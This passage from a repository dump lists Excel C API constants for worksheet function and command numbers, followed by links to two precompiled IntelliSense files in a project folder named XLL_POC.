969 | #define xlfConfidence_norm 488
970 | #define xlfConfidence_t 489
971 | #define xlfChisq_test 490
972 | #define xlfF_test 491
973 | #define xlfCovariance_p 492
974 | #define xlfCovariance_s 493
975 | #define xlfExpon_dist 494
976 | #define xlfGamma_dist 495
977 | #define xlfGamma_inv 496
978 | #define xlfMode_mult 497
979 | #define xlfMode_sngl 498
980 | #define xlfNorm_dist 499
981 | #define xlfNorm_inv 500
982 | #define xlfPercentile_exc 501
983 | #define xlfPercentile_inc 502
984 | #define xlfPercentrank_exc 503
985 | #define xlfPercentrank_inc 504
986 | #define xlfPoisson_dist 505
987 | #define xlfQuartile_exc 506
988 | #define xlfQuartile_inc 507
989 | #define xlfRank_avg 508
990 | #define xlfRank_eq 509
991 | #define xlfStdev_s 510
992 | #define xlfStdev_p 511
993 | #define xlfT_dist 512
994 | #define xlfT_dist_2t 513
995 | #define xlfT_dist_rt 514
996 | #define xlfT_inv 515
997 | #define xlfT_inv_2t 516
998 | #define xlfVar_s 517
999 | #define xlfVar_p 518
1000 | #define xlfWeibull_dist 519
1001 | #define xlfNetworkdays_intl 520
1002 | #define xlfWorkday_intl 521
1003 | #define xlfEcma_ceiling 522
1004 | #define xlfIso_ceiling 523
1005 | #define xlfBeta_dist 525
1006 | #define xlfBeta_inv 526
1007 | #define xlfChisq_dist 527
1008 | #define xlfChisq_dist_rt 528
1009 | #define xlfChisq_inv 529
1010 | #define xlfChisq_inv_rt 530
1011 | #define xlfF_dist 531
1012 | #define xlfF_dist_rt 532
1013 | #define xlfF_inv 533
1014 | #define xlfF_inv_rt 534
1015 | #define xlfHypgeom_dist 535
1016 | #define xlfLognorm_dist 536
1017 | #define xlfLognorm_inv 537
1018 | #define xlfNegbinom_dist 538
1019 | #define xlfNorm_s_dist 539
1020 | #define xlfNorm_s_inv 540
1021 | #define xlfT_test 541
1022 | #define xlfZ_test 542
1023 | #define xlfErf_precise 543
1024 | #define xlfErfc_precise 544
1025 | #define xlfGammaln_precise 545
1026 | #define xlfCeiling_precise 546
1027 | #define xlfFloor_precise 547
1028 | #define xlfAcot 548
1029 | #define xlfAcoth 549
1030 | #define xlfCot 550
1031 | #define xlfCoth 551
1032 | #define xlfCsc 552
1033 | #define xlfCsch 553
1034 | #define xlfSec 554
1035 | #define xlfSech 555
1036 | #define xlfImtan 556
1037 | #define xlfImcot 557
1038 | #define xlfImcsc 558
1039 | #define xlfImcsch 559
1040 | #define xlfImsec 560
1041 | #define xlfImsech 561
1042 | #define xlfBitand 562
1043 | #define xlfBitor 563
1044 | #define xlfBitxor 564
1045 | #define xlfBitlshift 565
1046 | #define xlfBitrshift 566
1047 | #define xlfPermutationa 567
1048 | #define xlfCombina 568
1049 | #define xlfXor 569
1050 | #define xlfPduration 570
1051 | #define xlfBase 571
1052 | #define xlfDecimal 572
1053 | #define xlfDays 573
1054 | #define xlfBinom_dist_range 574
1055 | #define xlfGamma 575
1056 | #define xlfSkew_p 576
1057 | #define xlfGauss 577
1058 | #define xlfPhi 578
1059 | #define xlfRri 579
1060 | #define xlfUnichar 580
1061 | #define xlfUnicode 581
1062 | #define xlfMunit 582
1063 | #define xlfArabic 583
1064 | #define xlfIsoweeknum 584
1065 | #define xlfNumbervalue 585
1066 | #define xlfSheet 586
1067 | #define xlfSheets 587
1068 | #define xlfFormulatext 588
1069 | #define xlfIsformula 589
1070 | #define xlfIfna 590
1071 | #define xlfCeiling_math 591
1072 | #define xlfFloor_math 592
1073 | #define xlfImsinh 593
1074 | #define xlfImcosh 594
1075 | #define xlfFilterxml 595
1076 | #define xlfWebservice 596
1077 | #define xlfEncodeurl 597
1078 |
1079 | /* Excel command numbers */
1080 | #define xlcBeep (0 | xlCommand)
1081 | #define xlcOpen (1 | xlCommand)
1082 | #define xlcOpenLinks (2 | xlCommand)
1083 | #define xlcCloseAll (3 | xlCommand)
1084 | #define xlcSave (4 | xlCommand)
1085 | #define xlcSaveAs (5 | xlCommand)
1086 | #define xlcFileDelete (6 | xlCommand)
1087 | #define xlcPageSetup (7 | xlCommand)
1088 | #define xlcPrint (8 | xlCommand)
1089 | #define xlcPrinterSetup (9 | xlCommand)
1090 | #define xlcQuit (10 | xlCommand)
1091 | #define xlcNewWindow (11 | xlCommand)
1092 | #define xlcArrangeAll (12 | xlCommand)
1093 | #define xlcWindowSize (13 | xlCommand)
1094 | #define xlcWindowMove (14 | xlCommand)
1095 | #define xlcFull (15 | xlCommand)
1096 | #define xlcClose (16 | xlCommand)
1097 | #define xlcRun (17 | xlCommand)
1098 | #define xlcSetPrintArea (22 | xlCommand)
1099 | #define xlcSetPrintTitles (23 | xlCommand)
1100 | #define xlcSetPageBreak (24 | xlCommand)
1101 | #define xlcRemovePageBreak (25 | xlCommand)
1102 | #define xlcFont (26 | xlCommand)
1103 | #define xlcDisplay (27 | xlCommand)
1104 | #define xlcProtectDocument (28 | xlCommand)
1105 | #define xlcPrecision (29 | xlCommand)
1106 | #define xlcA1R1c1 (30 | xlCommand)
1107 | #define xlcCalculateNow (31 | xlCommand)
1108 | #define xlcCalculation (32 | xlCommand)
1109 | #define xlcDataFind (34 | xlCommand)
1110 | #define xlcExtract (35 | xlCommand)
1111 | #define xlcDataDelete (36 | xlCommand)
1112 | #define xlcSetDatabase (37 | xlCommand)
1113 | #define xlcSetCriteria (38 | xlCommand)
1114 | #define xlcSort (39 | xlCommand)
1115 | #define xlcDataSeries (40 | xlCommand)
1116 | #define xlcTable (41 | xlCommand)
1117 | #define xlcFormatNumber (42 | xlCommand)
1118 | #define xlcAlignment (43 | xlCommand)
1119 | #define xlcStyle (44 | xlCommand)
1120 | #define xlcBorder (45 | xlCommand)
1121 | #define xlcCellProtection (46 | xlCommand)
1122 | #define xlcColumnWidth (47 | xlCommand)
1123 | #define xlcUndo (48 | xlCommand)
1124 | #define xlcCut (49 | xlCommand)
1125 | #define xlcCopy (50 | xlCommand)
1126 | #define xlcPaste (51 | xlCommand)
1127 | #define xlcClear (52 | xlCommand)
1128 | #define xlcPasteSpecial (53 | xlCommand)
1129 | #define xlcEditDelete (54 | xlCommand)
1130 | #define xlcInsert (55 | xlCommand)
1131 | #define xlcFillRight (56 | xlCommand)
1132 | #define xlcFillDown (57 | xlCommand)
1133 | #define xlcDefineName (61 | xlCommand)
1134 | #define xlcCreateNames (62 | xlCommand)
1135 | #define xlcFormulaGoto (63 | xlCommand)
1136 | #define xlcFormulaFind (64 | xlCommand)
1137 | #define xlcSelectLastCell (65 | xlCommand)
1138 | #define xlcShowActiveCell (66 | xlCommand)
1139 | #define xlcGalleryArea (67 | xlCommand)
1140 | #define xlcGalleryBar (68 | xlCommand)
1141 | #define xlcGalleryColumn (69 | xlCommand)
1142 | #define xlcGalleryLine (70 | xlCommand)
1143 | #define xlcGalleryPie (71 | xlCommand)
1144 | #define xlcGalleryScatter (72 | xlCommand)
1145 | #define xlcCombination (73 | xlCommand)
1146 | #define xlcPreferred (74 | xlCommand)
1147 | #define xlcAddOverlay (75 | xlCommand)
1148 | #define xlcGridlines (76 | xlCommand)
1149 | #define xlcSetPreferred (77 | xlCommand)
1150 | #define xlcAxes (78 | xlCommand)
1151 | #define xlcLegend (79 | xlCommand)
1152 | #define xlcAttachText (80 | xlCommand)
1153 | #define xlcAddArrow (81 | xlCommand)
1154 | #define xlcSelectChart (82 | xlCommand)
1155 | #define xlcSelectPlotArea (83 | xlCommand)
1156 | #define xlcPatterns (84 | xlCommand)
1157 | #define xlcMainChart (85 | xlCommand)
1158 | #define xlcOverlay (86 | xlCommand)
1159 | #define xlcScale (87 | xlCommand)
1160 | #define xlcFormatLegend (88 | xlCommand)
1161 | #define xlcFormatText (89 | xlCommand)
1162 | #define xlcEditRepeat (90 | xlCommand)
1163 | #define xlcParse (91 | xlCommand)
1164 | #define xlcJustify (92 | xlCommand)
1165 | #define xlcHide (93 | xlCommand)
1166 | #define xlcUnhide (94 | xlCommand)
1167 | #define xlcWorkspace (95 | xlCommand)
1168 | #define xlcFormula (96 | xlCommand)
1169 | #define xlcFormulaFill (97 | xlCommand)
1170 | #define xlcFormulaArray (98 | xlCommand)
1171 | #define xlcDataFindNext (99 | xlCommand)
1172 | #define xlcDataFindPrev (100 | xlCommand)
1173 | #define xlcFormulaFindNext (101 | xlCommand)
1174 | #define xlcFormulaFindPrev (102 | xlCommand)
1175 | #define xlcActivate (103 | xlCommand)
1176 | #define xlcActivateNext (104 | xlCommand)
1177 | #define xlcActivatePrev (105 | xlCommand)
1178 | #define xlcUnlockedNext (106 | xlCommand)
1179 | #define xlcUnlockedPrev (107 | xlCommand)
1180 | #define xlcCopyPicture (108 | xlCommand)
1181 | #define xlcSelect (109 | xlCommand)
1182 | #define xlcDeleteName (110 | xlCommand)
1183 | #define xlcDeleteFormat (111 | xlCommand)
1184 | #define xlcVline (112 | xlCommand)
1185 | #define xlcHline (113 | xlCommand)
1186 | #define xlcVpage (114 | xlCommand)
1187 | #define xlcHpage (115 | xlCommand)
1188 | #define xlcVscroll (116 | xlCommand)
1189 | #define xlcHscroll (117 | xlCommand)
1190 | #define xlcAlert (118 | xlCommand)
1191 | #define xlcNew (119 | xlCommand)
1192 | #define xlcCancelCopy (120 | xlCommand)
1193 | #define xlcShowClipboard (121 | xlCommand)
1194 | #define xlcMessage (122 | xlCommand)
1195 | #define xlcPasteLink (124 | xlCommand)
1196 | #define xlcAppActivate (125 | xlCommand)
1197 | #define xlcDeleteArrow (126 | xlCommand)
1198 | #define xlcRowHeight (127 | xlCommand)
1199 | #define xlcFormatMove (128 | xlCommand)
1200 | #define xlcFormatSize (129 | xlCommand)
1201 | #define xlcFormulaReplace (130 | xlCommand)
1202 | #define xlcSendKeys (131 | xlCommand)
1203 | #define xlcSelectSpecial (132 | xlCommand)
1204 | #define xlcApplyNames (133 | xlCommand)
1205 | #define xlcReplaceFont (134 | xlCommand)
1206 | #define xlcFreezePanes (135 | xlCommand)
1207 | #define xlcShowInfo (136 | xlCommand)
1208 | #define xlcSplit (137 | xlCommand)
1209 | #define xlcOnWindow (138 | xlCommand)
1210 | #define xlcOnData (139 | xlCommand)
1211 | #define xlcDisableInput (140 | xlCommand)
1212 | #define xlcEcho (141 | xlCommand)
1213 | #define xlcOutline (142 | xlCommand)
1214 | #define xlcListNames (143 | xlCommand)
1215 | #define xlcFileClose (144 | xlCommand)
1216 | #define xlcSaveWorkbook (145 | xlCommand)
1217 | #define xlcDataForm (146 | xlCommand)
1218 | #define xlcCopyChart (147 | xlCommand)
1219 | #define xlcOnTime (148 | xlCommand)
1220 | #define xlcWait (149 | xlCommand)
1221 | #define xlcFormatFont (150 | xlCommand)
1222 | #define xlcFillUp (151 | xlCommand)
1223 | #define xlcFillLeft (152 | xlCommand)
1224 | #define xlcDeleteOverlay (153 | xlCommand)
1225 | #define xlcNote (154 | xlCommand)
1226 | #define xlcShortMenus (155 | xlCommand)
1227 | #define xlcSetUpdateStatus (159 | xlCommand)
1228 | #define xlcColorPalette (161 | xlCommand)
1229 | #define xlcDeleteStyle (162 | xlCommand)
1230 | #define xlcWindowRestore (163 | xlCommand)
1231 | #define xlcWindowMaximize (164 | xlCommand)
1232 | #define xlcError (165 | xlCommand)
1233 | #define xlcChangeLink (166 | xlCommand)
1234 | #define xlcCalculateDocument (167 | xlCommand)
1235 | #define xlcOnKey (168 | xlCommand)
1236 | #define xlcAppRestore (169 | xlCommand)
1237 | #define xlcAppMove (170 | xlCommand)
1238 | #define xlcAppSize (171 | xlCommand)
1239 | #define xlcAppMinimize (172 | xlCommand)
1240 | #define xlcAppMaximize (173 | xlCommand)
1241 | #define xlcBringToFront (174 | xlCommand)
1242 | #define xlcSendToBack (175 | xlCommand)
1243 | #define xlcMainChartType (185 | xlCommand)
1244 | #define xlcOverlayChartType (186 | xlCommand)
1245 | #define xlcSelectEnd (187 | xlCommand)
1246 | #define xlcOpenMail (188 | xlCommand)
1247 | #define xlcSendMail (189 | xlCommand)
1248 | #define xlcStandardFont (190 | xlCommand)
1249 | #define xlcConsolidate (191 | xlCommand)
1250 | #define xlcSortSpecial (192 | xlCommand)
1251 | #define xlcGallery3dArea (193 | xlCommand)
1252 | #define xlcGallery3dColumn (194 | xlCommand)
1253 | #define xlcGallery3dLine (195 | xlCommand)
1254 | #define xlcGallery3dPie (196 | xlCommand)
1255 | #define xlcView3d (197 | xlCommand)
1256 | #define xlcGoalSeek (198 | xlCommand)
1257 | #define xlcWorkgroup (199 | xlCommand)
1258 | #define xlcFillGroup (200 | xlCommand)
1259 | #define xlcUpdateLink (201 | xlCommand)
1260 | #define xlcPromote (202 | xlCommand)
1261 | #define xlcDemote (203 | xlCommand)
1262 | #define xlcShowDetail (204 | xlCommand)
1263 | #define xlcUngroup (206 | xlCommand)
1264 | #define xlcObjectProperties (207 | xlCommand)
1265 | #define xlcSaveNewObject (208 | xlCommand)
1266 | #define xlcShare (209 | xlCommand)
1267 | #define xlcShareName (210 | xlCommand)
1268 | #define xlcDuplicate (211 | xlCommand)
1269 | #define xlcApplyStyle (212 | xlCommand)
1270 | #define xlcAssignToObject (213 | xlCommand)
1271 | #define xlcObjectProtection (214 | xlCommand)
1272 | #define xlcHideObject (215 | xlCommand)
1273 | #define xlcSetExtract (216 | xlCommand)
1274 | #define xlcCreatePublisher (217 | xlCommand)
1275 | #define xlcSubscribeTo (218 | xlCommand)
1276 | #define xlcAttributes (219 | xlCommand)
1277 | #define xlcShowToolbar (220 | xlCommand)
1278 | #define xlcPrintPreview (222 | xlCommand)
1279 | #define xlcEditColor (223 | xlCommand)
1280 | #define xlcShowLevels (224 | xlCommand)
1281 | #define xlcFormatMain (225 | xlCommand)
1282 | #define xlcFormatOverlay (226 | xlCommand)
1283 | #define xlcOnRecalc (227 | xlCommand)
1284 | #define xlcEditSeries (228 | xlCommand)
1285 | #define xlcDefineStyle (229 | xlCommand)
1286 | #define xlcLinePrint (240 | xlCommand)
1287 | #define xlcEnterData (243 | xlCommand)
1288 | #define xlcGalleryRadar (249 | xlCommand)
1289 | #define xlcMergeStyles (250 | xlCommand)
1290 | #define xlcEditionOptions (251 | xlCommand)
1291 | #define xlcPastePicture (252 | xlCommand)
1292 | #define xlcPastePictureLink (253 | xlCommand)
1293 | #define xlcSpelling (254 | xlCommand)
1294 | #define xlcZoom (256 | xlCommand)
1295 | #define xlcResume (258 | xlCommand)
1296 | #define xlcInsertObject (259 | xlCommand)
1297 | #define xlcWindowMinimize (260 | xlCommand)
1298 | #define xlcSize (261 | xlCommand)
1299 | #define xlcMove (262 | xlCommand)
1300 | #define xlcSoundNote (265 | xlCommand)
1301 | #define xlcSoundPlay (266 | xlCommand)
1302 | #define xlcFormatShape (267 | xlCommand)
1303 | #define xlcExtendPolygon (268 | xlCommand)
1304 | #define xlcFormatAuto (269 | xlCommand)
1305 | #define xlcGallery3dBar (272 | xlCommand)
1306 | #define xlcGallery3dSurface (273 | xlCommand)
1307 | #define xlcFillAuto (274 | xlCommand)
1308 | #define xlcCustomizeToolbar (276 | xlCommand)
1309 | #define xlcAddTool (277 | xlCommand)
1310 | #define xlcEditObject (278 | xlCommand)
1311 | #define xlcOnDoubleclick (279 | xlCommand)
1312 | #define xlcOnEntry (280 | xlCommand)
1313 | #define xlcWorkbookAdd (281 | xlCommand)
1314 | #define xlcWorkbookMove (282 | xlCommand)
1315 | #define xlcWorkbookCopy (283 | xlCommand)
1316 | #define xlcWorkbookOptions (284 | xlCommand)
1317 | #define xlcSaveWorkspace (285 | xlCommand)
1318 | #define xlcChartWizard (288 | xlCommand)
1319 | #define xlcDeleteTool (289 | xlCommand)
1320 | #define xlcMoveTool (290 | xlCommand)
1321 | #define xlcWorkbookSelect (291 | xlCommand)
1322 | #define xlcWorkbookActivate (292 | xlCommand)
1323 | #define xlcAssignToTool (293 | xlCommand)
1324 | #define xlcCopyTool (295 | xlCommand)
1325 | #define xlcResetTool (296 | xlCommand)
1326 | #define xlcConstrainNumeric (297 | xlCommand)
1327 | #define xlcPasteTool (298 | xlCommand)
1328 | #define xlcPlacement (300 | xlCommand)
1329 | #define xlcFillWorkgroup (301 | xlCommand)
1330 | #define xlcWorkbookNew (302 | xlCommand)
1331 | #define xlcScenarioCells (305 | xlCommand)
1332 | #define xlcScenarioDelete (306 | xlCommand)
1333 | #define xlcScenarioAdd (307 | xlCommand)
1334 | #define xlcScenarioEdit (308 | xlCommand)
1335 | #define xlcScenarioShow (309 | xlCommand)
1336 | #define xlcScenarioShowNext (310 | xlCommand)
1337 | #define xlcScenarioSummary (311 | xlCommand)
1338 | #define xlcPivotTableWizard (312 | xlCommand)
1339 | #define xlcPivotFieldProperties (313 | xlCommand)
1340 | #define xlcPivotField (314 | xlCommand)
1341 | #define xlcPivotItem (315 | xlCommand)
1342 | #define xlcPivotAddFields (316 | xlCommand)
1343 | #define xlcOptionsCalculation (318 | xlCommand)
1344 | #define xlcOptionsEdit (319 | xlCommand)
1345 | #define xlcOptionsView (320 | xlCommand)
1346 | #define xlcAddinManager (321 | xlCommand)
1347 | #define xlcMenuEditor (322 | xlCommand)
1348 | #define xlcAttachToolbars (323 | xlCommand)
1349 | #define xlcVbaactivate (324 | xlCommand)
1350 | #define xlcOptionsChart (325 | xlCommand)
1351 | #define xlcVbaInsertFile (328 | xlCommand)
1352 | #define xlcVbaProcedureDefinition (330 | xlCommand)
1353 | #define xlcRoutingSlip (336 | xlCommand)
1354 | #define xlcRouteDocument (338 | xlCommand)
1355 | #define xlcMailLogon (339 | xlCommand)
1356 | #define xlcInsertPicture (342 | xlCommand)
1357 | #define xlcEditTool (343 | xlCommand)
1358 | #define xlcGalleryDoughnut (344 | xlCommand)
1359 | #define xlcChartTrend (350 | xlCommand)
1360 | #define xlcPivotItemProperties (352 | xlCommand)
1361 | #define xlcWorkbookInsert (354 | xlCommand)
1362 | #define xlcOptionsTransition (355 | xlCommand)
1363 | #define xlcOptionsGeneral (356 | xlCommand)
1364 | #define xlcFilterAdvanced (370 | xlCommand)
1365 | #define xlcMailAddMailer (373 | xlCommand)
1366 | #define xlcMailDeleteMailer (374 | xlCommand)
1367 | #define xlcMailReply (375 | xlCommand)
1368 | #define xlcMailReplyAll (376 | xlCommand)
1369 | #define xlcMailForward (377 | xlCommand)
1370 | #define xlcMailNextLetter (378 | xlCommand)
1371 | #define xlcDataLabel (379 | xlCommand)
1372 | #define xlcInsertTitle (380 | xlCommand)
1373 | #define xlcFontProperties (381 | xlCommand)
1374 | #define xlcMacroOptions (382 | xlCommand)
1375 | #define xlcWorkbookHide (383 | xlCommand)
1376 | #define xlcWorkbookUnhide (384 | xlCommand)
1377 | #define xlcWorkbookDelete (385 | xlCommand)
1378 | #define xlcWorkbookName (386 | xlCommand)
1379 | #define xlcGalleryCustom (388 | xlCommand)
1380 | #define xlcAddChartAutoformat (390 | xlCommand)
1381 | #define xlcDeleteChartAutoformat (391 | xlCommand)
1382 | #define xlcChartAddData (392 | xlCommand)
1383 | #define xlcAutoOutline (393 | xlCommand)
1384 | #define xlcTabOrder (394 | xlCommand)
1385 | #define xlcShowDialog (395 | xlCommand)
1386 | #define xlcSelectAll (396 | xlCommand)
1387 | #define xlcUngroupSheets (397 | xlCommand)
1388 | #define xlcSubtotalCreate (398 | xlCommand)
1389 | #define xlcSubtotalRemove (399 | xlCommand)
1390 | #define xlcRenameObject (400 | xlCommand)
1391 | #define xlcWorkbookScroll (412 | xlCommand)
1392 | #define xlcWorkbookNext (413 | xlCommand)
1393 | #define xlcWorkbookPrev (414 | xlCommand)
1394 | #define xlcWorkbookTabSplit (415 | xlCommand)
1395 | #define xlcFullScreen (416 | xlCommand)
1396 | #define xlcWorkbookProtect (417 | xlCommand)
1397 | #define xlcScrollbarProperties (420 | xlCommand)
1398 | #define xlcPivotShowPages (421 | xlCommand)
1399 | #define xlcTextToColumns (422 | xlCommand)
1400 | #define xlcFormatCharttype (423 | xlCommand)
1401 | #define xlcLinkFormat (424 | xlCommand)
1402 | #define xlcTracerDisplay (425 | xlCommand)
1403 | #define xlcTracerNavigate (430 | xlCommand)
1404 | #define xlcTracerClear (431 | xlCommand)
1405 | #define xlcTracerError (432 | xlCommand)
1406 | #define xlcPivotFieldGroup (433 | xlCommand)
1407 | #define xlcPivotFieldUngroup (434 | xlCommand)
1408 | #define xlcCheckboxProperties (435 | xlCommand)
1409 | #define xlcLabelProperties (436 | xlCommand)
1410 | #define xlcListboxProperties (437 | xlCommand)
1411 | #define xlcEditboxProperties (438 | xlCommand)
1412 | #define xlcPivotRefresh (439 | xlCommand)
1413 | #define xlcLinkCombo (440 | xlCommand)
1414 | #define xlcOpenText (441 | xlCommand)
1415 | #define xlcHideDialog (442 | xlCommand)
1416 | #define xlcSetDialogFocus (443 | xlCommand)
1417 | #define xlcEnableObject (444 | xlCommand)
1418 | #define xlcPushbuttonProperties (445 | xlCommand)
1419 | #define xlcSetDialogDefault (446 | xlCommand)
1420 | #define xlcFilter (447 | xlCommand)
1421 | #define xlcFilterShowAll (448 | xlCommand)
1422 | #define xlcClearOutline (449 | xlCommand)
1423 | #define xlcFunctionWizard (450 | xlCommand)
1424 | #define xlcAddListItem (451 | xlCommand)
1425 | #define xlcSetListItem (452 | xlCommand)
1426 | #define xlcRemoveListItem (453 | xlCommand)
1427 | #define xlcSelectListItem (454 | xlCommand)
1428 | #define xlcSetControlValue (455 | xlCommand)
1429 | #define xlcSaveCopyAs (456 | xlCommand)
1430 | #define xlcOptionsListsAdd (458 | xlCommand)
1431 | #define xlcOptionsListsDelete (459 | xlCommand)
1432 | #define xlcSeriesAxes (460 | xlCommand)
1433 | #define xlcSeriesX (461 | xlCommand)
1434 | #define xlcSeriesY (462 | xlCommand)
1435 | #define xlcErrorbarX (463 | xlCommand)
1436 | #define xlcErrorbarY (464 | xlCommand)
1437 | #define xlcFormatChart (465 | xlCommand)
1438 | #define xlcSeriesOrder (466 | xlCommand)
1439 | #define xlcMailLogoff (467 | xlCommand)
1440 | #define xlcClearRoutingSlip (468 | xlCommand)
1441 | #define xlcAppActivateMicrosoft (469 | xlCommand)
1442 | #define xlcMailEditMailer (470 | xlCommand)
1443 | #define xlcOnSheet (471 | xlCommand)
1444 | #define xlcStandardWidth (472 | xlCommand)
1445 | #define xlcScenarioMerge (473 | xlCommand)
1446 | #define xlcSummaryInfo (474 | xlCommand)
1447 | #define xlcFindFile (475 | xlCommand)
1448 | #define xlcActiveCellFont (476 | xlCommand)
1449 | #define xlcEnableTipwizard (477 | xlCommand)
1450 | #define xlcVbaMakeAddin (478 | xlCommand)
1451 | #define xlcInsertdatatable (480 | xlCommand)
1452 | #define xlcWorkgroupOptions (481 | xlCommand)
1453 | #define xlcMailSendMailer (482 | xlCommand)
1454 | #define xlcAutocorrect (485 | xlCommand)
1455 | #define xlcPostDocument (489 | xlCommand)
1456 | #define xlcPicklist (491 | xlCommand)
1457 | #define xlcViewShow (493 | xlCommand)
1458 | #define xlcViewDefine (494 | xlCommand)
1459 | #define xlcViewDelete (495 | xlCommand)
1460 | #define xlcSheetBackground (509 | xlCommand)
1461 | #define xlcInsertMapObject (510 | xlCommand)
1462 | #define xlcOptionsMenono (511 | xlCommand)
1463 | #define xlcNormal (518 | xlCommand)
1464 | #define xlcLayout (519 | xlCommand)
1465 | #define xlcRmPrintArea (520 | xlCommand)
1466 | #define xlcClearPrintArea (521 | xlCommand)
1467 | #define xlcAddPrintArea (522 | xlCommand)
1468 | #define xlcMoveBrk (523 | xlCommand)
1469 | #define xlcHidecurrNote (545 | xlCommand)
1470 | #define xlcHideallNotes (546 | xlCommand)
1471 | #define xlcDeleteNote (547 | xlCommand)
1472 | #define xlcTraverseNotes (548 | xlCommand)
1473 | #define xlcActivateNotes (549 | xlCommand)
1474 | #define xlcProtectRevisions (620 | xlCommand)
1475 | #define xlcUnprotectRevisions (621 | xlCommand)
1476 | #define xlcOptionsMe (647 | xlCommand)
1477 | #define xlcWebPublish (653 | xlCommand)
1478 | #define xlcNewwebquery (667 | xlCommand)
1479 | #define xlcPivotTableChart (673 | xlCommand)
1480 | #define xlcOptionsSave (753 | xlCommand)
1481 | #define xlcOptionsSpell (755 | xlCommand)
1482 | #define xlcHideallInkannots (808 | xlCommand)
1483 |
--------------------------------------------------------------------------------
/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-73a963d7.ipch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-73a963d7.ipch
--------------------------------------------------------------------------------
/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-c374541d.ipch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-c374541d.ipch
--------------------------------------------------------------------------------